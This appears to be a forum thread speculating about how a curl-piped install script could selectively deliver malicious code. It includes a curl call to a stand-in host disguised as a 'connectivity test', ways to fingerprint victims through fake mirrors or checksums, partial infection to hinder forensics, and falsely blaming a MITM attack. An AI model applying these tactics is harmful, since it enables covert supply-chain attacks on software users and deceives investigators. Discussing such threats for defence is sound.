You could even get more clever with this you could drop the unique_id and just match up the remote host IP. You could probably even disguise the command as something like a "network connectivity test" in the script.
# Check network connectivity so we can continue the install
if ! curl --fail www.example.com; then exit; fi
Of course, what actually is happening is that we've just informed the server to now serve our malicious code.
Remote host IP isn't ideal because of NAT (request from another host on the network exposes your malfeasance), or if your target may be using something like TOR (two requests might have differing remote IPs). But there's a bunch of tricks to get unique info out of a network request that you control the parameters to. Presumably there aren't that many concurrent invocations of your script, so only a few bits of entropy are actually required. Best way is probably to have a bunch of domains and make it look like they're various mirrors you're downloading binaries from - then it's not suspicious that it changes for different machines or requests.
If binaries are being downloaded, then the dynamically generated malicious script could pretend it's a checksum when really it's a unique tracking URL.
Well it's okay to not infect every target. In fact, if you are being malicious, it would be better to only infect some targets so as to muddy the waters when someone is trying to investigate your actions after the fact.
You can claim that you were MITM'd and point to the non-infectious cases as evidence that you always send a good payload.
